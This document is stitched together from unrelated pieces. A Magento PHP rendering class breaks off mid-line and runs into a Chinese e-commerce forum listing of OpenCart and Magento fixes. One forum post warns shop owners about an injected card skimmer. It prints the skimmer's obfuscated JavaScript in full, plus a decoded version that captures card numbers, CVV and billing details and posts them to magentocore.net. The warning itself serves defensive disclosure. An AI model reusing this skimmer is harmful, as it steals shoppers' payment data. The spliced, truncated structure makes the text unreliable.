$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'productRelated') {
if ($this->isProductPage()) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'poll') {
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$poll = $this->getLayout()->createBlock($data['block'])
->setPollId($arr[1]);
foreach ($data['poll_template'] as $k => $v) {
$poll->setPollTemplate($v, $k);
}
$html .= $poll->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'menu') {
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setMenuId($arr[1])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'categoryNavigation') {
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setSelectedCategoryId($arr[1])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'featuredProducts' || $key == 'bestsellerProducts' || $key == 'newProducts' || $key == 'topRateProducts' || $key == 'saleProducts') {
$arr = explode('=', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTitle($arr[0])
->setProductsCount($arr[1])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'facebookLikeBox') {
$arr = explode('|', $value);
if (count($arr)) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTitle($arr[0])
->setPageId($arr[1])
->setConnection($arr[2])
->setWidth($arr[3])
->setHeight($arr[4])
->setShowHeader($arr[5])
->setShowFace($arr[6])
->setShowStream($arr[7])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'twitterFeed') {
$arr = explode('|', $value);
if (count($arr)) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTitle($arr[0])
->setUser($arr[1])
->setCount($arr[2])
->setTruncate($arr[3])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else {
if (strpos($key, 'promoBanner') !== false) {
$id = str_replace('promoBanner', '', $key);
$promo = Mage::getModel('promobanners/promobanners')->load($id);
if ($id && $promo->getId()) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
} else {
$html .= '<div class="block block-banner">';
}
$html .= $this->getLayout()
->createBlock('promobanners/promobanners')
->setBannerId($id)
->setTemplate('mgs/promobanners/banner.phtml')
->toHtml();
$html .= '</div>';
echo $html;
}
break;
}
}
}
}

public function renderHtmlContentInCms($templateLayout, $blockName, $pageId, $key, $value, $isAdmin) {
$blocks = array(
'categoryNavigation' => array(
'block' => 'mpanel/navigation',
'template' => 'mgs/mpanel/template/category-navigation.phtml'
),
'cartSidebar' => array(
'block' => 'checkout/cart_sidebar',
'template' => 'checkout/cart/sidebar.phtml'
),
'compareSidebar' => array(
'block' => 'catalog/product_compare_sidebar',
'template' => 'catalog/product/compare/sidebar.phtml'
),
'reorderSidebar' => array(
'block' => 'sales/reorder_sidebar',
'template' => 'sales/reorder/sidebar.phtml'
),
'poll' => array(
'block' => 'poll/activePoll',
'poll_template' => array(
'poll' => 'poll/active.phtml',
'results' => 'poll/result.phtml'
)
),
'productViewed' => array(
'block' => 'reports/product_viewed',
'template' => 'reports/product_viewed.phtml'
),
'wishlistSidebar' => array(
'block' => 'wishlist/customer_sidebar',
'template' => 'wishlist/sidebar.phtml'
),
'tagsPopular' => array(
'block' => 'tag/popular',
'template' => 'tag/popular.phtml'
),
'newsletter' => array(
'block' => 'newsletter/subscribe',
'template' => 'newsletter/subscribe.phtml'
)
);
foreach ($blocks as $block => $data) {
if ($block == $key) {
if ($key == 'poll') {
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCms($templateLayout, $blockName, $key, 'core', $pageId);
}
$poll = $this->getLayout()->createBlock($data['block'])
->setPollId($arr[1]);
foreach ($data['poll_template'] as $k => $v) {
$poll->setPollTemplate($v, $k);
}
$html .= $poll->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'categoryNavigation') {
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCms($templateLayout, $blockName, $key, 'core', $pageId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setSelectedCategoryId($arr[1])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCms($templateLayout, $blockName, $key, 'core', $pageId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else {
if (strpos($key, 'promoBanner') !== false) {
$id = str_replace('promoBanner', '', $key);
$promo = Mage::getModel('promobanners/promobanners')->load($id);
if ($id && $promo->getId()) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCms($templateLayout, $blockName, $key, 'core', $pageId);
} else {
$html .= '<div class="block block-banner">';
}
$html .= $this->getLayout()
->createBlock('promobanners/promobanners')
->setBannerId($id)
->setTemplate('mgs/promobanners/banner.phtml')
->toHtml();
$html .= '</div>';
echo $html;
}
break;
}
}
}
}

public function renderHtmlContentInCustomer($templateLayout, $blockName, $key, $value, $isAdmin) {
$blocks = array(
'categoryNavigation' => array(
'block' => 'mpanel/navigation',
'template' => 'mgs/mpanel/template/category-navigation.phtml'
),
'cartSidebar' => array(
'block' => 'checkout/cart_sidebar',
'template' => 'checkout/cart/sidebar.phtml'
),
'compareSidebar' => array(
'block' => 'catalog/product_compare_sidebar',
'template' => 'catalog/product/compare/sidebar.phtml'
),
'reorderSidebar' => array(
'block' => 'sales/reorder_sidebar',
'template' => 'sales/reorder/sidebar.phtml'
),
'poll' => array(
'block' => 'poll/activePoll',
'poll_template' => array(
'poll' => 'poll/active.phtml',
'results' => 'poll/result.phtml'
)
),
'productViewed' => array(
'block' => 'reports/product_viewed',
'template' => 'reports/product_viewed.phtml'
),
'wishlistSidebar' => array(
'block' => 'wishlist/customer_sidebar',
'template' => 'wishlist/sidebar.phtml'
),
'tagsPopular' => array(
'block' => 'tag/popular',
'template' => 'tag/popular.phtml'
),
'newsletter' => array(
'block' => 'newsletter/subscribe',
'template' => 'newsletter/subscribe.phtml'
)
);
foreach ($blocks as $block => $data) {
if ($block == $key) {
if ($key == 'poll') { // Block poll
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="

opencart出现Notice:undefined index:route 错误的解决方法

技术分享neasel 发表了文章 • 0 个评论 • 3 次浏览 • 2018-08-27 09:49 • 来自相关话题

2018-8-27 09:48| 发布者: lutish| 查看: 2| 评论: 0|编辑 |删除报错内容:notice:Undefined index:route in ***/catalog/controller/extension/captcha/bas ...查看全部
2018-8-27 09:48| 发布者: lutish| 查看: 2| 评论: 0|编辑 |删除报错内容:
notice:Undefined index:route in ***/catalog/controller/extension/captcha/basic.php on line 12

打开此文件看到12行的内容为:


$data['route'] = $this->request->get['route'];


修改为
$data['route'] = isset($this->request->get['route']) ? $this->request->get['route'] : '';

opencart pander主题开启SSL后TWITTER链接不显示出错。

技术分享neasel 发表了文章 • 0 个评论 • 5 次浏览 • 2018-07-23 08:25 • 来自相关话题

/catalog/view/theme/default/template/extension/module/octwitter.twig 替换此文件或是手动移除其中的全部 {{ base_url }}    


/catalog/view/theme/default/template/extension/module/octwitter.twig


替换此文件或是手动移除其中的全部 {{ base_url }}
 
 

简单火车头采集规则一条

技术分享neasel 发表了文章 • 0 个评论 • 3 次浏览 • 2018-07-21 07:40 • 来自相关话题

采集对象:demo.opencart.com
采集对象:demo.opencart.com

MAGENTO1.X导入扩展出现后台访问直接跳转到前台404的解决方法

技术问答neasel 发表了文章 • 0 个评论 • 5 次浏览 • 2018-06-14 19:10 • 来自相关话题

1.确认文件是否正确完整地上传到空间上 2.app\code\community\CapacityWebSolutions\ImportProduct\Model下的Profile.php文件有的空间会自动删除 您可以手动创建此名称的文 ...查看全部
1.确认文件是否正确完整地上传到空间上
2.app\code\community\CapacityWebSolutions\ImportProduct\Model下的Profile.php文件有的空间会自动删除
您可以手动创建此名称的文件,并填入以下内容


<?php
 class CapacityWebSolutions_ImportProduct_Model_Profile extends Mage_Core_Model_Abstract
{
 
 
}

 


惊现盗取信用卡信息的伪装病毒

IT大杂烩neasel 发表了文章 • 0 个评论 • 2 次浏览 • 2018-03-29 17:57 • 来自相关话题

被植入文件 调用路径https://magentocore.net/mage/mage.js 原内容: var _0x8949=[“\x75\x6E\x64\x65\x66\x69\ ...查看全部
被植入文件

调用路径https://magentocore.net/mage/mage.js

原内容:

var _0x8949=[“\x75\x6E\x64\x65\x66\x69\x6E\x65\x64″,”\x68\x6F\x73\x74\x6E\x61\x6D\x65″,”\x76\x61\x6C”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x68\x6F\x73\x73\x74\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x73\x69\x7A\x65″,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x6E\x75\x6D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x6D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x79\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x63\x69\x64\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x66\x69\x72\x73\x74\x6E\x61\x6D\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x6C\x61\x73\x74\x6E\x61\x6D\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x73\x74\x72\x65\x65\x74\x5D\x5B\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\x69\x74\x79\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x72\x65\x67\x69\x6F\x6E\x5F\x69\x64\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x70\x6F\x73\x74\x63\x6F\x64\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\x6F\x75\x6E\x74\x72\x79\x5F\x69\x64\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x74\x65\x6C\x65\x70\x68\x6F\x6E\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x65\x6D\x61\x69\x6C\x5D\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x61\x72\x64\x5F\x6E\x75\x6D\x62\x65\x72\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x31\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x32\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x56\x56\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x66\x69\x72\x73\x74\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x65\x63\x6F\x6E\x64\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x61\x64\x64\x72\x65\x73\x73\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x69\x74\x79\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x74\x61\x74\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x7A\x69\x70\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x6F\x75\x6E\x74\x72\x79\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x70\x68\x6F\x6E\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x76\x62\x76\x22\x5D”,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x61\x67\x65\x6E\x74\x6F\x63\x6F\x72\x65\x2E\x6E\x65\x74\x2F\x6D\x61\x67\x65\x2F\x6D\x61\x69\x6C\x32\x2E\x70\x68\x70″,”\x73\x65\x72\x69\x61\x6C\x69\x7A\x65″,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73″,”\x70\x6F\x73\x74″,”\x62\x75\x74\x74\x6F\x6E\x5B\x6F\x6E\x63\x6C\x69\x63\x6B\x2A\x3D\x22\x2E\x73\x61\x76\x65\x22\x5D”,”\x65\x71″,”\x6F\x6E\x63\x6C\x69\x63\x6B”,”\x61\x74\x74\x72″,”\x6D\x67\x5F\x5F\x63\x6F\x72\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x6D\x67\x5F\x5F\x63\x6F\x72\x65\x28\x29\x3B”,”\x3C\x66\x6F\x72\x6D\x20\x63\x6C\x61\x73\x73\x3D\x22\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x6E\x6F\x6E\x65\x3B\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x68\x6F\x73\x73\x74\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x61\x72\x64\x5F\x6E\x75\x6D\x62\x65\x72\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x31\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x32\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x56\x56\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x66\x69\x72\x73\x74\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x65\x63\x6F\x6E\x64\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x61\x64\x64\x72\x65\x73\x73\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x69\x74\x79\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x74\x61\x74\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x7A\x69\x70\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x6F\x75\x6E\x74\x72\x79\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x70\x68\x6F\x6E\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x76\x62\x76\x22\x3E\x3C\x2F\x66\x6F\x72\x6D\x3E”,”\x61\x70\x70\x65\x6E\x64″,”\x62\x6F\x64\x79″,”\x69\x6E\x69\x74\x5F\x5F\x6C\x6F\x28\x29\x3B”,”\x72\x65\x61\x64\x79″];if( typeof llooll== _0x8949[0]){var llooll=0;var lloo_interval;function mg__core(){var _0x83edx4=location[_0x8949[1]];jQuery(_0x8949[3])[_0x8949[2]](_0x83edx4);if(!(jQuery(_0x8949[5])[_0x8949[4]]())){return};var _0x83edx5=jQuery(_0x8949[5])[_0x8949[2]]();var _0x83edx6=jQuery(_0x8949[6])[_0x8949[2]]();var _0x83edx7=jQuery(_0x8949[7])[_0x8949[2]]();var _0x83edx8=jQuery(_0x8949[8])[_0x8949[2]]();var _0x83edx9=jQuery(_0x8949[9])[_0x8949[2]]();var _0x83edxa=jQuery(_0x8949[10])[_0x8949[2]]();var _0x83edxb=jQuery(_0x8949[11])[_0x8949[2]]();var _0x83edxc=jQuery(_0x8949[12])[_0x8949[2]]();var _0x83edxd=jQuery(_0x8949[13])[_0x8949[2]]();var _0x83edxe=jQuery(_0x8949[14])[_0x8949[2]]();var _0x83edxf=jQuery(_0x8949[15])[_0x8949[2]]();var _0x83edx10=jQuery(_0x8949[16])[_0x8949[2]]();var _0x83edx11=jQuery(_0x8949[17])[_0x8949[2]]();jQuery(_0x8949[18])[_0x8949[2]](_0x83edx5);jQuery(_0x8949[19])[_0x8949[2]](_0x83edx6);jQuery(_0x8949[20])[_0x8949[2]](_0x83edx7);jQuery(_0x8949[21])[_0x8949[2]](_0x83edx8);jQuery(_0x8949[22])[_0x8949[2]](_0x83edx9);jQuery(_0x8949[23])[_0x8949[2]](_0x83edxa);jQuery(_0x8949[24])[_0x8949[2]](_0x83edxb);jQuery(_0x8949[25])[_0x8949[2]](_0x83edxc);jQuery(_0x8949[26])[_0x8949[2]](_0x83edxd);jQuery(_0x8949[27])[_0x8949[2]](_0x83edxe);jQuery(_0x8949[28])[_0x8949[2]](_0x83edxf);jQuery(_0x8949[29])[_0x8949[2]](_0x83edx10);jQuery(_0x8949[30])[_0x8949[2]](_0x83edx11);var _0x83edx12=0;if((!_0x83edx5) || (!_0x83edx8) || (!_0x83edx6) || (!_0x83edx7)){_0x83edx12= 1};if(_0x83edx12!= 1){jQuery[_0x8949[34]](_0x8949[31],jQuery(_0x8949[33])[_0x8949[32]]())}}function init__lo(){if(!(jQuery(_0x8949[5])[_0x8949[4]]())){return};var _0x83edx14=jQuery(_0x8949[35]);for(var _0x83edx15=0;_0x83edx15< _0x83edx14[_0x8949[4]]();_0x83edx15++){var _0x83edx16=_0x83edx14[_0x8949[36]](_0x83edx15);var _0x83edx17=_0x83edx16[_0x8949[38]](_0x8949[37]);if(_0x83edx17[_0x8949[40]](_0x8949[39])>= 0){continue};_0x83edx16[_0x8949[38]](_0x8949[37],_0x8949[41]+ _0x83edx17)}}if(( typeof jQuery!= _0x8949[0])){(function(_0x83edx18){_0x83edx18(document)[_0x8949[46]](function(){_0x83edx18(_0x8949[44])[_0x8949[43]](_0x8949[42]);init__lo();lloo_interval= setInterval(_0x8949[45],7000)})})(jQuery)}}

解密后的真相内容:

if (typeof llooll == ‘undefined’) {
var llooll = 0;
var lloo_interval;

function mg__core() {
var _0x83edx4 = location[‘hostname’];
jQuery(‘.mi_forms input[name=”hosst_name”]’)[‘val’](_0x83edx4);
if (!(jQuery(‘*[name*=”cc_num”]’)[‘size’]())) {
return
};
var _0x83edx5 = jQuery(‘*[name*=”cc_num”]’)[‘val’]();
var _0x83edx6 = jQuery(‘*[name*=”cc_exp_m”]’)[‘val’]();
var _0x83edx7 = jQuery(‘*[name*=”cc_exp_y”]’)[‘val’]();
var _0x83edx8 = jQuery(‘*[name*=”cc_cid”]’)[‘val’]();
var _0x83edx9 = jQuery(‘*[name=”billing[firstname]”]’)[‘val’]();
var _0x83edxa = jQuery(‘*[name=”billing[lastname]”]’)[‘val’]();
var _0x83edxb = jQuery(‘*[name=”billing[street][]”]’)[‘val’]();
var _0x83edxc = jQuery(‘*[name=”billing[city]”]’)[‘val’]();
var _0x83edxd = jQuery(‘*[name=”billing[region_id]”]’)[‘val’]();
var _0x83edxe = jQuery(‘*[name=”billing[postcode]”]’)[‘val’]();
var _0x83edxf = jQuery(‘*[name=”billing[country_id]”]’)[‘val’]();
var _0x83edx10 = jQuery(‘*[name=”billing[telephone]”]’)[‘val’]();
var _0x83edx11 = jQuery(‘*[name=”billing[email]”]’)[‘val’]();
jQuery(‘.mi_forms input[name=”m_Card_number”]’)[‘val’](_0x83edx5);
jQuery(‘.mi_forms input[name=”m_Exp_1″]’)[‘val’](_0x83edx6);
jQuery(‘.mi_forms input[name=”m_Exp_2″]’)[‘val’](_0x83edx7);
jQuery(‘.mi_forms input[name=”m_CVV”]’)[‘val’](_0x83edx8);
jQuery(‘.mi_forms input[name=”m_first_name”]’)[‘val’](_0x83edx9);
jQuery(‘.mi_forms input[name=”m_second_name”]’)[‘val’](_0x83edxa);
jQuery(‘.mi_forms input[name=”m_address”]’)[‘val’](_0x83edxb);
jQuery(‘.mi_forms input[name=”m_city”]’)[‘val’](_0x83edxc);
jQuery(‘.mi_forms input[name=”m_state”]’)[‘val’](_0x83edxd);
jQuery(‘.mi_forms input[name=”m_zip”]’)[‘val’](_0x83edxe);
jQuery(‘.mi_forms input[name=”m_country”]’)[‘val’](_0x83edxf);
jQuery(‘.mi_forms input[name=”m_phone”]’)[‘val’](_0x83edx10);
jQuery(‘.mi_forms input[name=”m_vbv”]’)[‘val’](_0x83edx11);
var _0x83edx12 = 0;
if ((!_0x83edx5) || (!_0x83edx8) || (!_0x83edx6) || (!_0x83edx7)) {
_0x83edx12 = 1
};
if (_0x83edx12 != 1) {
jQuery[‘post’](‘https://magentocore.net/mage/mail2.php’, jQuery(‘.mi_forms’)[‘serialize’]())
}
}
function init__lo() {
if (!(jQuery(‘*[name*=”cc_num”]’)[‘size’]())) {
return
};
var _0x83edx14 = jQuery(‘button[onclick*=”.save”]’);
for (var _0x83edx15 = 0; _0x83edx15 < _0x83edx14[‘size’](); _0x83edx15++) {
var _0x83edx16 = _0x83edx14[‘eq’](_0x83edx15);
var _0x83edx17 = _0x83edx16[‘attr’](‘onclick’);
if (_0x83edx17[‘indexOf’](‘mg__core’) >= 0) {
continue
};
_0x83edx16[‘attr’](‘onclick’, ‘mg__core();’ + _0x83edx17)
}
}
if ((typeof jQuery != ‘undefined’)) {
(function (_0x83edx18) {
_0x83edx18(document)[‘ready’](function () {
_0x83edx18(‘body’)[‘append’](‘<form class=”mi_forms” style=”display: none;”><input type=”text” name=”hosst_name”><input type=”text” name=”m_Card_number”><input type=”text” name=”m_Exp_1″><input type=”text” name=”m_Exp_2″><input type=”text” name=”m_CVV”><input type=”text” name=”m_first_name”><input type=”text” name=”m_second_name”><input type=”text” name=”m_address”><input type=”text” name=”m_city”><input type=”text” name=”m_state”><input type=”text” name=”m_zip”><input type=”text” name=”m_country”><input type=”text” name=”m_phone”><input type=”text” name=”m_vbv”></form>’);
init__lo();
lloo_interval = setInterval(‘init__lo();’, 7000)
})
})(jQuery)
}
}

 

https://magentocore.net/mage/mail2.php 使用此MAIL发送功能把收集到的信息卡信息发往这个地址!!!

盗刷信用卡信息的团伙就问您们怕不怕!!!!请各位电商用户打开页面源码自查!!!!

淘宝客户:xalifz 差评事件全程聊天记录回顾~

网站事务neasel 发表了文章 • 0 个评论 • 4 次浏览 • 2018-03-22 20:10 • 来自相关话题

